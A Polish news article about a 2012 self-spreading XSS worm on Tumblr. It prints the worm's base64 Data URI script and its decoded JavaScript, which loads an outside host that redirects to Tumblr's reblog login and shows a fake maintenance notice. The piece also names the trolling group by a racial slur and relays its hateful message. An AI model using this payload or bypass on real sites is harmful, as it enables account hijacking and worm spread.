Możliwość umieszczenia kodu JavaScript we wpisie w serwisie blogowym musiała się źle skończyć. Kilka godzin temu popularny serwis Tumblr został zalany wpisami Amerykańskiego Stowarzyszenia Gejów Czarnuchów, znanego internetowego trolla.
Użytkownicy Tumblra (który w USA jest dużo bardziej popularny niż poza jego granicami – serwis jest tam wśród 10 najczęściej odwiedzanych stron) zostali zaskoczeni identycznymi wpisami, które jeden po drugim zaczęły trafiać na kolejne strony. Każdy zalogowany użytkownik, który odwiedził zarażony blog, natychmiast sam stawał się ofiarą żartownisiów, a jego blog kolejnym punktem szerzenia infekcji. Jaki komunikat widzieli goście zarażonych serwisów?
Istniejąca od 2002 roku organizacja Amerykańskie Stowarzyszenie Gejów Czarnuchów (Gay Nigger Association of America), znana z trollowania internautów na tle rasistowskim, tym razem postanowiła stanąć do walki z blogerami z serwisu Tumblr, oskarżając ich żałosną dekadenckość i rekomendując im wypicie wybielacza i śmierć. Ciekawsza od samego komunikatu jest jednak automatyczna metoda jego umieszczania w kolejnych blogach.
W kodzie źródłowym każdej zainfekowanej strony można było znaleźć interesujący fragment:
<script src="data:text/plain;base64,dmFyIGZyYW1la2lsbGVyID0gdHJ1ZTsNCg0Kd2luZG93Lm9ubG9hZCA9IGZ1bmN0aW9uKCl7DQogIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdsYXBwZXInKS5zcmMgPSAiaHR0cDovL2kuaG9wZS55b3UuZ2V0LnN0cmFuZ2xlZC5uZXQiOw0KfQ0KDQp3aW5kb3cub25iZWZvcmV1bmxvYWQgPSBmdW5jdGlvbigpIHsgDQogIGlmKGZyYW1la2lsbGVyKSB7DQogICAgcmV0dXJuICJOb3RpY2U6IFR1bWJsciB3aWxsIGJlIHVuZGVyZ29pbmcgbWFpbnRlbmFuY2Ugb24gRGVjZW1iZXIgNHRoIDIwMTIgYXQgMDE6MDAgQU0gZm9yIHNldmVyYWwgaG91cnMuXG5cbiBXZSBjYW5ub3QgZm9yZWNhc3QgZm9yIGV4YWN0bHkgaG93IGxvbmcsIHVuZm9ydHVuYXRlbHkuXG4gV2UgYXBvbG9naXplIGZvciB0aGUgaW5jb252ZW5pZW5jZS5cblxuWW91IG1heSBub3cgZGlzbWlzcyB0aGlzIG1lc3NhZ2UgdmlhICdDYW5jZWwvU3RheSBvbiB0aGlzIHBhZ2UnLiBUaGFuayB5b3UuIjsgIC8vIGFueSBtZXNzYWdlIHRoYXQgaGVscHMgdXNlciB0byBtYWtlIGRlY2lzaW9uDQogIH0NCn07"></script>
Okazuje się, że autorom wirusa udało się umieścić w serwisie kod JavaScript, omijając mechanizmy to uniemożliwiające. Osiągnęli ten cel poprzez zamieszczenie kodu w tagu script src i zakodowanie w base64 jako Data URI. Skrypt po zdekodowaniu wyglądał tak:
var framekiller = true; window.onload = function(){ document.getElementById('lapper').src = "http://i.hope.you.get.strangled.net"; } window.onbeforeunload = function() { if(framekiller) { return "Notice: Tumblr will be undergoing maintenance on December 4th 2012 at 01:00 AM for several hours.\n\n We cannot forecast for exactly how long, unfortunately.\n We apologize for the inconvenience.\n\nYou may now dismiss this message via 'Cancel/Stay on this page'. Thank you."; // any message that helps user to make decision } };
Skrypt przekierowywał użytkownika na stronę http://i.hope.you.get.strangled.net (mam.nadzieje.ze.cie.udusza.net), która z kolei odpowiadała błędem 301 z przekierowaniem na adres
https://www.tumblr.com/login?redirect_to=%2Freblog
Jeśli strona została zatem otwarta przez użytkownika, który był zalogowany do serwisu, automatycznie umieszczał on ten sam wpis na swoim blogu, dodając jednocześnie swoją stronę do listy zarażających.
Komunikat umieszczony w kodzie JavaScript miał za zadanie zwieść użytkownika i przekonać go, że nie dzieje się nic złego i w praktyce wyglądał tak:
Wirus okazał się całkiem sprytnie skonstruowany i skuteczny. Twitter organizatorów akcji w pewnym momencie ogłaszał, że zainfekowali już prawie 9 tysięcy blogów.
Wśród zainfekowanych blogów znalazły się także należące do bardzo popularnych w USA The Verge, Reuters, USA Today, CNET oraz Daily Dot. W swoim oświadczeniu GNAA poinformowała, ze poinformowała Tumblra o błędzie dwa tygodnie wcześniej, jednak problem nie został usunięty. Po około godzinie od rozpoczęcia infekcji serwisu, Tumblr tymczasowo wyłączył możliwość dodawania nowych wpisów, powstrzymując rozpowszechnianie robaka.
Robak, który na krótko opanował Tumblra, nie był niczym nowym – podobne problemy spotkały już wcześniej Twittera czy MySpace (pierwszy w historii robak XSS). Sytuacja ta pokazuje jednak, że nawet w popularnych i dobrze zabezpieczonych serwisach ciągle można odnaleźć sposób przemycenia kodu JavaScript.